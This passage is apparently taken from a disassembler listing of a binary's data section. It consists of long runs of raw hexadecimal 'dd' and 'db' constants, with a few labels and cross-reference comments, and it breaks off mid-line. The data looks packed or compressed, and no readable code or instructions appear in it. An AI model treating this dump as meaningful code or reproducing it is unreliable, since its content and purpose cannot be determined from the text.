20CC14DAh dd 77506B27h, 3DB63E6Eh, 0FFFD2F56h, 0A645FF8Dh, 26502D21h dd 78107FFFh, 1DF203Ah, 60504C7h, 0FD0B725Fh, 0A090807h dd 0FFE00C0Bh, 12116700h, 0C2FB1413h, 1615FFFFh, 1A191817h dd 1E1D1C1Bh, 2221201Fh, 26252423h, 2B2A29B9h, 0BFFF582Ch dd 81385BD0h, 0AE202F85h, 38373635h, 3C3B3A39h, 403F3E3Dh dd 0F6AA84A7h, 0D55B4241h, 58D68739h, 0FFEADF55h, 0FF1B6C2Fh dd 5C5B5A59h, 0B95F5E5Dh, 1866D363h, 0B46FAA8h, 0DB3EF68Ah dd 0FF936D6Ch, 8D5AA847h, 7C7B8CDDh, 0BB7F7E7Dh, 85B7C0F0h dd 0FFF897FAh, 74E978D5h, 266E4500h, 41DFFE50h, 4B37AEE1h dd 454E5245h, 0DFFFF44Ch, 4C446AA2h, 0C2FC1C4Ch, 461F6546h dd 8746736Ch, 0BFF6320h, 793BE14h, 0F6746553h, 0BFF9479Fh dd 6C4138E7h, 0FFF63BA0h, 2801FFFFh, 75006E00h, 0B5D76C00h dd 0F29ACC6h, 60A1E3Ch, 0CBF6CF02h, 100701DBh, 0A0A0300h dd 10FFFA15h, 5004504h, 7C2E1735h, 0C70030ECh, 0F16EB749h dd 1F6BA5h, 7995BF37h, 0AA07A5D7h, 0FFFDBFFAh, 8000B20h dd 0D2606860h, 89A96EDh, 70B7818h, 7EB20715h, 1A00B5CEh dd 52FFFF01h, 6A31BC51h, 72437726h, 0EAAADF09h, 68943341h dd 6FFFE8B7h, 7053E8D0h, 70A9EEC9h, 0D16BAD4Bh, 54EB6C60h dd 4BFB0C0Ch, 0CE12FFFFh, 576FC400h, 18BF6F12h, 7453C717h dd 2B4917A0h, 0D26A624Fh, 5FF4A2D9h, 49467B60h, 14C34B9h dd 74EE865Bh, 26765F41h, 0BFF550BFh, 0D77C13EFh, 460FCD98h dd 42285153h, 0B850966Fh, 0FFFFFFFFh, 5355A605h, 0E4A65D60h dd 2001CAAAh, 9001E428h, 482049h, 90064210h, 86108489h dd 81640640h, 0DDADFADEh, 40051001h, 8718D882h, 0CE203B85h dd 51132451h, 620025FBh, 6C08C613h, 0FFFF0600h, 0D76EA342h dd 0CA8D3BC4h, 0FFDFD956h, 0F332E426h, 141B1401h, 6FFFC300h dd 0C2259115h, 36EF2F00h, 0F72365B2h, 0DFD50011h, 705FFFE0h dd 84838281h, 88878685h, 8C8B8A89h, 168F8E8Dh, 95949392h dd 0C3FFFFFFh, 98F39796h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h dd 0A8A7A6A5h, 0ACABAAA9h, 0FFFFAEADh, 0B0AFFE35h, 0B4B3B2B1h dd 0B82353B5h, 0BCBBBAB9h, 0C0BFBEBDh, 0C4C3C2C1h, 0FFFFE7FFh dd 0C8C7C6C5h, 0CCCBCAC9h, 0D0CFCECDh, 0D4D3D2D1h, 0D8D7D6D5h dd 0DCDBDAD9h, 0FFDFDEDDh, 0E0FFD0BFh, 0E4E3E2E1h, 0E8E7E6E5h dd 0EDECE1E9h, 0F1F0EFEEh, 0F5F4F3F2h, 6F22F7F6h, 55FFFFFCh dd 0F9F8FF12h, 0FDFCFBFAh, 1290FFFEh, 7042B120h, 0A3085590h dd 8D8552CAh, 0FFFFFC12h, 1F104AFFh, 610009F4h, 3A48487Fh dd 266CDC6Dh, 0E91D68h, 4D202C64h, 0D7DD6CBAh, 0FF790820h dd 0CE6FFE05h, 792F2F0Bh, 31CBA110h, 4D43507Bh, 876F249Bh dd 0FF96F71Ah, 0BFFFFFFh, 0BB766F4Eh, 4FC06BC5h, 70F50A5Dh dd 528B1474h, 24410EA5h, 0BB3DF4B5h, 7E4AA857h, 0BF6E0743h dd 65FFFFF1h, 17D1BA41h, 0FC69BF1Bh, 6863D74Dh, 1E8DB59Ah dd 31E265DFh, 8E36AD23h, 0FFF1BF95h, 530AECFFh, 3F72A961h dd 636B156Bh, 92E4613h, 95AC1245h, 57135A1Ah, 0FF0C4C3Ch dd 0C7FA37FFh, 541D9D0Ah, 101E4D7Eh, 686B7553h, 60767E1h dd 63868080h, 0FF03F080h, 7FFC6FFh, 7D0B6CA8h, 14808286h dd 15854BE9h, 3F8542FAh, 805080E1h, 0B43FBD88h, 0FFFF972Dh dd 27F30BFFh, 0F4072357h, 21885050h, 1C07DAD7h, 8391828h dd 0A17F21F6h, 78EF68ADh, 2DBFFADh, 730277E2h, 0F3228614h dd 39CE6B0Bh, 6FFC6E7h, 9FCB5BEDh, 9B7B9AAh, 0ECE1D6D8h dd 30FA7905h, 0F6FFC6FEh, 5060C18h, 1E372AFFh, 483960C2h dd 543F4F73h, 0D5B47342h, 0FC0BC024h, 21637B37h, 14685D0Fh dd 66EEA97Bh, 0F16F1B69h, 0EA06BFFFh, 33D5475h, 56D90B76h dd 8E6B9583h, 32004307h, 1B1BD5DFh, 0FF1BFFE9h, 1772E49h dd 705F3722h, 622E1050h, 0F7445A85h, 6C6F677Dh, 0D6FFE464h dd 577370BFh, 98DAE54Eh, 62436D01h, 51B7BD5Ah, 8CC78773h dd 0F56FFFFFh, 56673370h, 1D53ADD4h, 3C8B769Ah, 0A50EE75Bh dd 85BE6DDAh, 0D61F275Eh, 0FC6FFFFFh, 6B304026h, 16660F74h dd 726BB1ABh, 0C09507E0h, 47C3518Dh, 5C8156Dh, 0C0BF17C3h dd 3E3FFFFh, 0F66F4717h, 0F7B5EF0Eh, 730679BDh, 5D073068h dd 7B72A308h, 837F9316h, 6577FFFFh, 0D1B37D3h, 8E02D6Bh dd 6E6DC40Ch, 0CBDB00CCh, 6FBC00B7h, 17FDB46Fh, 6A5AE17Eh dd 5F63B0E3h, 0CBBB79F3h, 733A6796h, 6C4F7A6Fh, 0BE9605Fh dd 0A9FF744Bh, 0CB20C387h, 4A336103h, 0FFFA5FFFh, 64ED7E19h dd 70674F0Ch, 5885795Fh, 76B76EC1h, 5B0A5A98h, 2E63EC6Ch dd 0FFFF076Fh, 2369FFFFh, 0A33470F6h, 4B1C42BDh, 432707CDh dd 5A3DDDF6h, 661BA683h, 69542D63h, 6866CC41h, 0FF0B66DFh dd 4B0F837Fh, 3175244Dh, 12D0C361h, 0AF6F9E57h, 0BBF3B65Bh dd 0FFFA16ADh, 67ABE378h, 856FBB67h, 0DA2F5CD8h, 0A473CF2Eh dd 0F42D1BFFh, 3DB0CC76h, 625C00E1h, 55AF5873h, 68D9A9ACh dd 0FF0BFA15h, 4E3E434Fh, 136B6580h, 0AF365F5h, 86E019EEh dd 0BFFFFFFFh, 578F3FAAh, 0B373168Eh, 9F080F76h, 36CF2A88h dd 874B0ED7h, 7794FB3h, 0CE07865h, 0AD020886h, 3B3CFF5Bh dd 0F18A1FD5h, 6CA9BB43h, 0AC0AFBAh, 2FFFFFFDh, 61E15E29h dd 0EA52CB27h, 8C36DAEFh, 275BFA58h, 5B8A1679h, 0FFFF1290h dd 0FE3FD697h, 6EE7215Fh, 731E784h, 63CF70D7h, 0BD617A6Eh dd 0FFF5BFB3h, 230077FFh, 0F2CF8462h, 5B818529h, 0A7B38E47h dd 0BF14E9D3h, 3AF5EB8Dh, 0DFFF4EBDh, 7F7FFFEh, 5EBD234Bh dd 3B2FEBDDh, 574B7907h, 637A13D7h, 9F8F7F73h, 0B42EB456h dd 17FF60CFh, 2F69E0DAh, 0E67F0B84h, 361BE927h, 36342E39h dd 0A585312Eh, 3902FFFFh, 0FFC03831h, 5043BB05h, 4F542054h dd 2FFD7F3Ah, 0FFFFD1D9h, 7B5CF06Fh, 41863830h, 2D303438h dd 44303142h, 4431312Dh, 0B6DADB33h, 0E17F09BEh, 3343C002h dd 98013621h, 0FCD30439h, 0E9747460h, 7D34EAABh, 4E047A79h dd 56036590h, 40C6DFD5h, 6EFFF288h, 824E04C8h, 0FFFEADD5h dd 1B704836h, 17EA63D1h, 1DE1A2B8h, 7FFBF401h, 0ABFF705Ah dd 0BD4256EAh, 77433F36h, 8B1FF65Fh, 0FFFFFFFDh, 0CF71C6BEh dd 322A8DFh, 7E222A9h, 0DEF5D00Ch, 22CDF23Dh, 0C519E8CAh dd 22D0C722h, 1BFA27CEh dd 1B045577h, 0BA524620h, 0E86014Ch, 0FFAAA5FBh, 63F3B937h dd 0E01346C4h, 9ACF342Bh, 5EDF0EDh, 340CFFFEh, 10A03012h dd 0BD9D9B10h, 20B45E0h, 0BA4F0DFFh, 85FC45D9h, 0D090FFD2h dd 0DECB2567h, 1034CEC0h, 0CF2CA661h, 2C5184C2h, 1BFFFFFFh dd 7548B0B4h, 678076CDh, 1C77C0D8h, 0BA4818DEh, 2EBC2F41h dd 0A55FB05Fh, 0FFD2444Dh, 33F6FE85h, 0C404EB90h, 0FE21CB05h dd 0DD2722Eh, 0FBC07372h, 0FFB68D35h, 382708FFh, 17758B73h dd 262E0240h, 6E03D44Bh, 0D760C953h, 5B6FFA5Fh, 7420730Fh dd 0EBD80763h, 0D024F70h, 0B9008D05h, 0F56FD6FFh, 0B01FEACDh dd 4F80D83Eh, 524A4246h, 11A2C804h, 0FE20A450h, 0DD0AFFFFh dd 0E0A5E381h, 0E8509E61h, 9BA8EC0Ch, 0D7FB5722h, 0B7046A23h dd 0FFA37F4Dh, 60B679DFh, 0FC551E01h, 0E44055C8h, 324DE852h dd 0E22AEB9Dh, 0FFE91550h, 0E50CFFFFh, 96CFB16h, 45C64F59h dd 0BF2F4EFFh, 32C88201h, 0EB027DDAh, 160DE827h, 0FFFF5082h dd 88FE7F42h, 81FF841Ch, 74982A26h, 0CAE81412h, 642D222Fh dd 3304FDEDh, 0FFFF8368h, 51C575D2h, 0DB924F28h, 0C99110Dh dd 510448A4h, 0FF82598Ch, 2E5FFFEDh, 950C6852h, 0F6129E8h dd 736A047Dh, 222D6F19h, 5C3114E8h, 7881F906h, 0FFAB7FD5h dd 324E82Eh, 0C801FA55h, 0F84BC56Eh, 7FC03D82h, 0FFFF2D9Ah dd 657BBFFFh, 0BE75C05Fh, 731C7FD4h, 1D9656E4h, 0E80618h dd 0C9DE40F0h, 37E039B6h, 0F8F413ECh, 0FFFFFFFFh, 0EE11C206h dd 9BE42F16h, 208D520Ch, 102E50A8h, 85F9814Ch, 0C7057CC0h dd 84BDB828h, 3ABB2F90h, 0FFFFFC1Bh, 0A36251F8h, 5C5359F8h dd 24521855h, 88236150h, 0DC517D2Dh, 0DD174952h, 0FFFFFE05h dd 4071131Bh, 2A3F0014h, 0CD76130Eh, 10771418h, 0B7010652h dd 85D99ECAh, 46FFFD5Bh, 8D838D5h, 3864028Eh, 0D9B9670Bh dd 0C833080h, 0A17FFFFDh, 0A610B9DDh, 34A553A8h, 0E0ED9850h dd 1C408317h, 0E2A3BD36h, 0C6FF3FA4h, 0F4EDBFFFh, 0B74E605h dd 0EAE0D6CCh, 0E0252308h, 0EB532278h, 0C8781680h, 7FFF1989h dd 0D00DF823h, 477CFDDCh, 0CD08306Ah, 88B5B2Ch, 9C27BD51h dd 0FD0B51ADh, 9018FC5Bh, 0D89B3A74h, 0DE1A9BDAh, 0B37801F8h dd 0FFFF2356h, 0D0A9A22Dh, 5214141Eh, 0AC326CD9h, 42FFC7F8h dd 6310DB30h, 0FF42FE80h, 0E4A5200Dh, 0A7C4537Fh, 151182Fh dd 0FF2A6800h, 0B49746FFh, 0B8D840EFh, 453EA0D8h, 0D89ABD14h dd 736E1018h, 0FFFF526Ch, 0DC45FA37h, 3E4C2E7Fh, 315333DCh dd 0E64685Eh, 9C8EC86Dh, 0D030046Ch, 0FFFE55FCh, 7CD4FFFFh dd 7B1AE85Ch, 7BE08DC8h, 0D08A042Fh, 0ADD28D99h, 81A7C21h dd 2E57D4EBh, 871251BBh, 4BFFE911h, 633EA925h, 0EB663F45h dd 7F8B3217h, 0D702F0D0h, 7EDFF0BAh, 186E0AC1h, 69D9F053h dd 0C04E81F8h, 57AD0163h, 0FFFFFF48h, 75E122B7h, 0E7246287h dd 749BED8h, 0EF71666Ah, 6676F651h, 0C3839C0h, 53061320h dd 0FFFFFFFFh, 0C8C25EEh, 7C7E34B8h, 0EEBE152Ah, 20D0999Ch dd 6430FBA1h, 0CF4B3C0Dh, 2B510CFAh, 320501B0h, 0FFFFF6FFh dd 7785B0C3h, 3B3D8F21h, 72773DEBh, 4019D872h, 0DE28D04Fh dd 0B0C2FDEh, 5C73Ch, 0FFFFC1B8h, 0CDE13B65h, 24DF5658h dword_3E1050 dd 6D7E08E9h, 0CC15F428h, 68CD136Ah, 0D0BF8590h, 0E72EB6B7h ; DATA XREF: sub_3E5151+42o dd 1A3A7BF9h, 0C0A06814h, 0FC6F2384h, 0E5CEFF42h, 0ECDCE52Dh dd 0FCAC985Ch db 2Bh, 3, 0A6h byte_3E107F db 75h ; DATA XREF: sub_3E5151+64o dd 8D6CF782h, 0FF5BFFABh, 0E044162Ch, 1646E04Dh, 5435265Eh dd 152E4233h, 68C0E13Dh, 7FFFFFFFh, 0EB1B530Ch, 604BC51Bh dd 0D7DC1EB6h, 0AAC9335Ch, 4941ABFEh, 83DC55D1h, 92B818EAh dd 7FF8BA05h, 1053FFFBh, 0CF28E06Fh, 4CC161F3h, 0EB6847F6h dd 9816EC09h, 0CB482D90h, 0F8201A61h, 0F2DFE05Fh, 0EED90647h dd 0CA49102Ch, 31B3A650h, 0E457D379h, 0FFFFE180h, 84412337h dd 0B11768C7h, 60EE9C01h, 4D08980Bh, 9EB76FBh, 7DC778DAh dd 7F1A85FFh, 250E2983h, 3CF1830Fh, 0FA699660h, 41E905DCh dd 0FFFFFFFFh, 73937C23h, 8BB4D20Ch, 55898114h, 0B045751Ah dd 0C9CC2DE3h, 7018E9D0h, 0A376D88Bh, 422FF455h, 897FE8DFh dd 0CA253BFFh, 5384EF95h, 6C1E130Fh, 77720A02h, 504A05FFh dd 0F028CB44h, 4B28F03Ch, 0FF06D62Eh, 8AD0FF1Bh, 428BF0E0h dd 5BF49201h, 0ECF68084h, 5606B70Fh, 0D4BFFFFEh, 0E1BB37FFh dd 0E8C42032h, 0DD9AC276h, 441B5733h, 0C10A896Dh, 0E62D501h dd 0FFFFFFFFh, 0E9F0EDC2h, 8B90D7A7h, 840F8F02h, 0A0FB6596h dd 51974DA3h, 9E4155EAh, 484559A5h, 5175D8C9h, 0FFFF6DBFh dd 9EAB66E4h, 0E596D8E0h, 0D80EB6B3h, 8B489728h, 644C5015h dd 0B5554D59h, 52F52F81h, 0EC712E4Eh, 0E972B28h, 0FF6FDFC8h dd 6DB57FFFh, 0DEB1097h, 0F77011D4h, 0E9E043ACh, 1A9FA366h dd 4C55D8D9h, 0E4001CE4h, 0FFC0BFFFh, 0C2409847h, 18F89FD5h dd 0C06F36CCh, 60018768h, 6180FB61h, 0F0F32B0Dh, 0FFFFF8B7h dd 881D4B74h, 3CB0FE90h, 0EFE4B74Fh, 0C0891D2Ah, 60D93AE0h dd 0A3FC4EF2h, 0FFFFFFFFh, 0E020E370h, 257C955Ah, 9752F4EBh dd 89261ADCh, 761C18F7h, 204808FDh, 0F46D08F0h, 4D800289h dd 0F6F8297Fh, 4F13908Eh, 3CF9B2ECh, 6210E987h, 69E42A3Dh dd 0FFFFFFFFh, 1D9F137Eh, 1F406220h, 0C669C288h, 2D72B094h dd 0A929D2E8h, 0AC7A8397h, 0B64E8A8Ch, 0EBE4110Bh, 6FFFFFFFh dd 6D021C72h, 2349A2E4h, 0C80861ACh, 0BDC88E0h, 1C094A60h dd 8531C033h, 66BC7DB4h, 0FFDBFFFFh, 0CE21D4Fh, 6B37F85Dh dd 0BF98C2Bh, 38C7521Dh, 9A4BC09h, 0FFC81C4Fh, 66D86E01h dd 0FFFFF02Fh, 0F7143F6Ch, 0C59D41D8h, 0FC8E005Ch, 57EAF661h dd 60503705h, 0B89C7369h, 0FFFC1BFCh, 0AEDE1BD2h, 23974D9h dd 0F5A91175h, 89411B2Bh, 181E3657h, 817FC820h, 381A0BFFh dd 0F44D6801h, 0EE689D51h, 935562ABh, 8F76364Ch, 0FFFD1A0Dh dd 0B9C006B0h, 0D08518Ah, 29966ECh, 53A706E7h, 0F8DFFE2Dh dd 580A5985h, 0A1D2566Dh, 0E842C719h, 0B9451A13h, 0A2050938h dd 5E16FFFFh, 0EBF0EC5Bh, 176C8528h, 6D197FC2h, 0E06B833h dd 2FFFFFEh, 21B3D86Ch, 2D47DB7Ah, 0FB0150C6h, 0B2DD2D57h dd 0E7ED5121h, 0FF04D251h, 1B0D6FFFh, 6C27BE59h, 5D2008BFh dd 7AFA1479h, 9CAD050Bh, 1C19402Dh, 0FFE88B7Fh, 4BE1072Eh dd 9246B1A6h, 373A146Bh, 11BDED96h, 0FFFF0E3Bh, 432FFFFh dd 4598CB1Eh, 8914DB2Eh, 0E0E7E04h, 106D96A8h, 51294D5Dh dd 60C0833Ah, 1143D0ADh, 0FFFC6A82h, 987FFFFFh, 514560C5h dd 23A2F46h, 0ECDF0874h, 22550837h, 44104938h, 0AC97A1Bh dd 420CB645h, 1AB74BFFh, 0CD861C9Fh, 0DFF83DD6h, 90B091C0h dd 0FFFFD424h, 0CD80E37Fh, 0F31B69C0h, 11026636h, 741F3A20h dd 0E069DE05h, 0B56A11D3h, 0E870FED9h, 0A97E2DFEh, 86AC6CBh dd 71A0E50Eh, 0E9E12F38h db 3Fh, 2, 3Dh byte_3E1437 db 97h ; DATA XREF: sub_3E5546+AAo ; .data:00417DF0o dd 0FDADDBFEh, 3B450529h, 480AF487h, 0B8F4D706h, 0FD506AC6h dd 0BC15FFFFh, 6A56755Bh, 0BBB0FA18h, 89306E21h, 0A181441h dd 0C20F9AB8h, 6FFFFE97h, 49E9E97Fh, 2BE81522h, 84C1A327h dd 0F4F5F48h, 2DC78B09h, 0FFFF50EBh, 2EEEFFFFh, 0D7C5F26Ch dd 0F4FD627Ah, 0AC17601Eh, 3F47A890h, 0F197428Ah, 1740D677h dd 67E82852h, 0AB7F7109h, 2D21EDC1h, 74188876h, 0F7BE6607h dd 55E9019Dh, 0F8DFFFFFh, 400C80DDh, 0B51C3460h, 3F0B973Fh dd 1B3B3117h, 41EF4AC2h, 0B0374E41h, 0FFFF9C20h, 80BFFFFh dd 0E35DCAB0h, 0F7C629B4h, 2511179h, 0B2E34219h, 214CC603h dd 6450650Dh, 1C842C2h, 0FFFF0C19h, 50C3FC2Fh, 66464B23h dd 0F5E9CD5h, 99912AF3h, 1B610A13h, 889DD83h, 0DF4889BCh dd 0FA17B7F5h, 0EB520B48h, 506FF69Bh, 56EB4A1Bh, 0D60D9523h dd 6A3756FFh, 69333A93h, 787141A1h, 6B220F04h, 0FD0BF02Fh dd 0D2A3ACDBh, 7C3090Eh, 0A3C75013h, 0AE05412Fh, 0FEA5FE37h dd 0B1D8CADh, 33469FA4h, 0F4F28DB2h, 322A0E60h, 0FFFCE0BAh dd 0C19BFFA5h, 12A5558h, 68590189h, 8341F16Bh, 49424142h dd 6385B992h, 0FDBF2C4Ah, 10446FFFh, 2131920Fh, 0FBF80C13h dd 0C865A41Bh, 22394D67h, 78B17BE7h, 0B6A59092h, 2775FFFFh dd 2B7B538Dh, 0F8655F19h, 7D5EF8BBh, 0C3DD8F20h, 0FF898C17h dd 5BEBFFFFh, 5075012Eh, 2B384C3Bh, 1BAC1A53h, 4AB85E6Ah dd 0C7BD4546h, 2B916F63h, 7E0DFFD0h, 0C053F810h, 0B048802h dd 784D2DE1h, 2C5772F4h, 0BFFFFFFFh, 0CF021029h, 33ABEF0Fh dd 20B70878h, 16D71421h, 61DD49C0h, 2653D70Ch, 3EB0692Ch dd 0C1BF49EBh, 47EBFE17h, 0E8C63C71h, 9F6BCAE6h, 0C035E8B4h dd 0E071A1F6h, 0FE05FFFEh, 20409EE0h, 0F50203B0h, 0A514DC0Ch dd 0B08C9726h, 0E18106Fh, 0FF1EE658h, 5F37FF4Bh, 4663424Fh dd 4FD7FD83h, 7CED5BFFh, 6FAB7AEBh, 0CEB2D8F1h, 0FFFF16FFh dd 0A5F4F0C9h, 0CB2CB291h, 18AE54C2h, 0C9231C29h, 721CCD66h dd 0F0438E1Bh, 0FFFFFFF0h, 8670D0F8h, 81EE1957h, 9A12206Ah dd 0CCE046Eh, 0B4F0F476h, 709584ABh, 4F5C0F65h, 41BFFFFFh dd 641F080Ch, 2925B337h, 2D145821h, 6506497h, 394E9079h dd 0FF8B37EBh, 7B2CFC6Fh, 54B2AA0Bh, 0E0E1830Ch, 5ACBB034h dd 0A2512076h, 0FFFF1F5Fh, 84234446h, 93D15F1Fh, 3F229929h dd 0C23386E9h, 0A97FF125h, 817DF02Fh, 0E66476CAh, 6D241832h dd 4393330Eh, 2FF8919Eh, 0E6E4FFF1h, 0B2D0E4E8h, 0F7BCC835h dd 463897F4h, 79C9993Bh, 0A3F8F394h, 5837F6FFh, 497B0AC6h dd 0B65CA2Dh, 107083CEh, 0F5276F42h, 7FF4BFFCh, 58E26025h dd 9401074Bh, 0EC381914h, 4F6309D4h, 0E7B6F1DDh, 56EAF3B2h dd 568A4A85h, 0BF8D0BDDh, 465FFFC1h, 1110EC7Eh, 1317128Fh dd 0D12AC703h, 7FE060Bh, 0B2407EB8h, 0FFFFE97Ah, 41AD2DE0h dd 123286Ah, 7D7DB3CEh, 279A1975h, 0A3686C3Bh, 972082E8h dd 515FF16Eh, 2B118979h, 0B8581DA3h, 6AAA5FD0h, 25FFDF05h dd 45E5FFFEh, 96250017h, 38320826h, 0BA466FA8h, 83023414h dd 9D742EF8h, 0F16FD035h, 0D295FFFFh, 3816110Ah, 0C3D48329h dd 1F82541Ch, 0A2357E39h, 7CAC0D72h, 0BFC67B13h, 8817FFC4h dd 0D0021498h, 0C0298C89h, 53044C6h, 4CE1B3EBh, 0D6FFA9C1h dd 0D3F40FFFh, 367703E0h, 0AA99000Ah, 2EF4EF78h, 3556EC5Eh dd 7FFFFEA5h, 36FD084Ch, 0B96DE9h, 0F8604957h, 42B563Fh dd 0DACA0910h, 46FF0A0Bh, 5B85FFFFh, 10E18126h, 0B08F90Ch dd 920521C1h, 1E4F800Dh, 0CCED16B7h, 0FC1B1D64h, 7EE1FEA5h dd 7706E281h, 0EA0DC237h, 0C10E1BC2h, 0FFFF3945h, 5586FFFFh dd 3F2F84D9h, 48C8C6Fh, 62C7308Eh, 33D2F4ECh, 8AF08709h dd 109533FCh, 0C1E8215Bh, 7FFF682Fh, 0D05AFFA1h, 0A10E8218h dd 90E4F7FCh, 0A65868E0h, 0B2D1157Ah, 8AA00311h, 12FF04E4h dd 0F9C7FFFFh, 0E47DD2EEh, 66161005h, 160640C7h, 862E1CB9h dd 6298AB7Eh, 0BB719B45h, 68DCFFC0h, 6429D950h, 0CB061E1Eh dd 91AA151Ch, 0DFFFB6D4h, 0AF912FE2h, 4112D4CAh, 0D4D0B1D4h dd 41089DDCh, 85A0206h, 5BFF665Fh, 0C6B042FFh, 6028E27Bh dd 6A250A51h, 0DC215229h, 50E9643h, 0EB7FD0B8h, 1E8551D0h dd 1AD5A04h, 3B5085Bh, 0FF1E755Fh, 937FFFFh, 0E8BA00CEh dd 8714CD52h, 0DAC0B98Ah, 91DE8C14h, 0AC6AD850h, 35A0F882h dd 0FD15D2B2h, 0D8D8FFFFh, 0DD1C31AEh, 0D5874516h, 186D1FD8h dd 16366C6Dh, 283430C5h, 68182FFFh, 973FDCFEh, 48A672D8h dd 7F180C88h, 4BC0901Eh, 847FFFFh, 0DF7F1013h, 41909900h dd 0AC04118Eh, 0E4DF121Ch, 6837EE1Ch, 42D0BFFDh, 4502ED17h dd 13210D4h, 11799172h, 0BFFE0720h, 581B42F4h, 0FA30971h dd 0C56C2D2Ch, 3660D8ECh, 0FF896AF0h, 5497FFFFh, 988788C1h dd 91BF01F3h, 8B80AE85h, 0B03B0381h, 9649875Bh, 62ADF4F4h dd 5BFF1547h, 0A441FFFFh, 12C73DEh, 96010F2Ch, 0D36FE2B5h dd 0F17D9641h, 99E6526Ah, 68046042h, 0FFFFD6FFh, 24B61854h dd 0D51BD447h, 596B5FE6h, 7D01D469h, 1437F00Fh, 70D985C0h dd 0C0BF9C9Ch, 0BA18EADFh, 0A0B13436h, 0AD100A4Bh, 0E0723DB7h dd 0A17FF4D4h, 4D26E25Fh, 6C8FFB34h, 0E3EC5898h, 590803ECh dd 0FFC4C526h, 586DF46Fh, 7637CA76h, 0BD347C90h, 4FECF8A7h dd 408D5110h, 0BFFFFFFFh, 84E89671h, 0DD5C2330h, 5E402F9Eh dd 379B0320h, 85720010h, 110221Ch, 6128DE13h, 0FBB8C21Dh dd 611DC6FFh, 555596F4h, 4320FF08h, 0F9305C8h, 20F1B44h dd 0FFFFD220h, 158C56DFh, 72720AFh, 0E8EF3C36h, 48D837D4h dd 0BF5C6AE2h, 316599DBh, 0F0BFFFE6h, 671C3DFFh, 0D51818BFh dd 0BA3EE561h, 0FC67F5C1h, 0B4660596h, 0A6EE1454h, 16FDCCCCh dd 0E439F6FFh, 0CC054390h, 2E4C03D1h, 0AC3E2CCCh, 9C082819h dd 37FFFEA5h, 0A226DC55h, 361894ADh, 0B6151450h, 0F0860B72h dd 0B4D7F8C9h, 0FFFFFF16h, 4DCFCB30h, 0F855564Dh, 67840542h dd 0ADCB6922h, 704BB658h, 0D1ECAD7Fh, 0FFFF85FAh, 5984E7FFh dd 0B97E88B3h, 915D84BBh, 7D0CC990h, 6E6CB90Dh, 0CE4185A1h dd 0FFFFC068h, 0E0ECFFFFh, 0B9A176CBh, 0C48F24EAh, 0F00C6C4h dd 597BFCCDh, 301C45Ah, 89E80F8Bh, 4BD61442h, 0FED5D6CBh dd 895FAB7h, 30D6C4BDh, 0A46DC8E1h, 0BFC2CEFh, 0BF0B08D0h dd 647B2FF4h, 7A0CB9E1h, 1ED0D56Dh, 0E4648793h, 0B5A050B2h dd 2B17DBFFh, 0CB3B05AFh, 6051C873h, 0EAB9FF2Dh, 7FFFFFF4h dd 8FB092DBh, 0B7050672h, 9DA3509h, 4013E916h, 92AB150Ch dd 0C8AED26h, 6ADF9321h, 38DFED8Bh, 0CE4D3BCh, 3A69D9D0h dd 0EDDA3125h, 2067F46Fh, 32CC1F02h, 9FE4E5C8h, 8CB21615h dd 0CBFC5A00h, 0B8B805DFh, 1C8721C9h, 61DE30B8h, 10B6B872h dd 16A837F0h, 0D4B901CCh, 909B95EAh, 0A854BE4h, 3DC2922Dh dd 377FE84Ah, 0C6FFE058h, 5D112C97h, 8B207574h, 37B76767h dd 0D646A2E1h, 3EFFFFC6h, 8B259DD5h, 0D87C7701h, 4196C3Dh dd 0CC324F32h, 39E9F2ADh, 0FFF56E85h, 7768B5BFh, 60EF7CD2h dd 9DE43857h, 0FC79FC59h, 30FF85FFh, 30CC8138h, 8CD4E9CCh dd 0C0777C11h, 9EFE83Fh, 5DB95377h, 4E8F584h, 0D26E05F4h dd 8D2AC57Ch, 5F24E977h, 45BFFC2Ah, 0FE6102C6h, 53B6B7Dh dd 10090140h, 0ED1451FFh, 37C6FF03h, 18A3DCAAh, 0D5B4FE1Eh dd 0B480E6BEh, 4B0A6F0Eh dd 0E4FFFE05h, 3A3E117h, 23660D9Ah, 0CBA6D492h, 0DF484B21h dd 0FFFFE0D0h, 4D73AD0Bh, 0DCBC2472h, 0D6F6D8EDh, 7CCA037Ch dd 0EBAC38E0h, 0FFFF1F06h, 6D0F5FFFh, 0DACCCCBh, 1C14A1ACh dd 9F181721h, 0C872B848h, 0B8CC95C9h, 0CF20E446h, 81465F10h dd 0FFFFFFFFh, 4C6D2712h, 14770006h, 3264E469h, 18200B26h dd 6590B4BCh, 0B4B46464h, 0ADFB5BEFh, 2F35B370h, 0ABD86305h dd 0B4344C96h, 7D6FFFC8h, 16388189h, 6CBBA88Bh, 0A83E0602h dd 0CB8F198Ch, 0FFFA20E5h, 50FFE25Fh, 3018CCEFh, 1A874AEh dd 612E383Bh, 0DE49C8A8h, 0A866964Ah, 0F638D000h, 5C0BB7FFh dd 0C80E3099h, 20010AE9h, 572E48E5h, 0D00746D0h, 0FF0BA723h dd 31CFEDB7h, 3200AC06h, 0A346302h, 0AC20CC1Ch, 0FF1C77CEh dd 0ACB7EDFFh, 967718F0h, 3ED2E831h, 0E319B4B0h, 1CC6C931h dd 0EDD40CBAh, 1072C9BAh, 18FB785Ch, 0BA4DD0EEh, 932C5343h dd 0E1C8D893h, 0A06FE8DFh, 650BD72Ah, 0D2A30A86h, 0EA9145BBh dd 0ED12970Dh, 667FFFFFh, 17232C12h, 0DCC8DE46h, 0CB2521A8h dd 0A8A8C8F2h, 7211C9C9h, 0C458CF46h, 6D5BFF45h, 0D45C19F4h dd 3D2B3CAFh, 0D4C04BD2h, 0CE4669B7h, 1B5BFF38h, 613F0AFCh dd 0AA0E8F10h, 92DCE72Ch, 0DC5A07AEh, 0FBDCD874h, 70FFC2F6h dd 648E4990h, 59D0DC26h, 0DC2BE892h, 8F90B44Bh, 1B00D027h dd 0EC5A85FCh, 2572E4D7h, 0C9051ED8h, 1BC0BE1Ch, 95CF2EDh dd 0CE181306h, 2907D941h, 0D83727FFh, 414D0D0Ah, 52BC0Eh dd 0FFFDBE86h, 14CEF8FFh, 7B58100Bh, 90F689A5h, 895BA723h dd 2C913B54h, 3F395187h, 0C9349874h, 0DFFFFFFFh, 0F5E5A57Ch dd 4A02868h, 0EB590661h, 14884A55h, 92BF70E5h, 680B8482h dd 4C9047EFh, 4BA5FF00h, 5C2E01FFh, 3900721h, 0D084E719h dd 3B4F7836h, 0C07214C8h, 0FFFFA1B8h, 9288A56h, 0B2819607h dd 1278DEDDh, 1FE03333h, 0DB6B49EAh, 1A7E0DFFh, 0E0F3033Ah dd 9C1F216Bh, 17162291h, 18623CD4h, 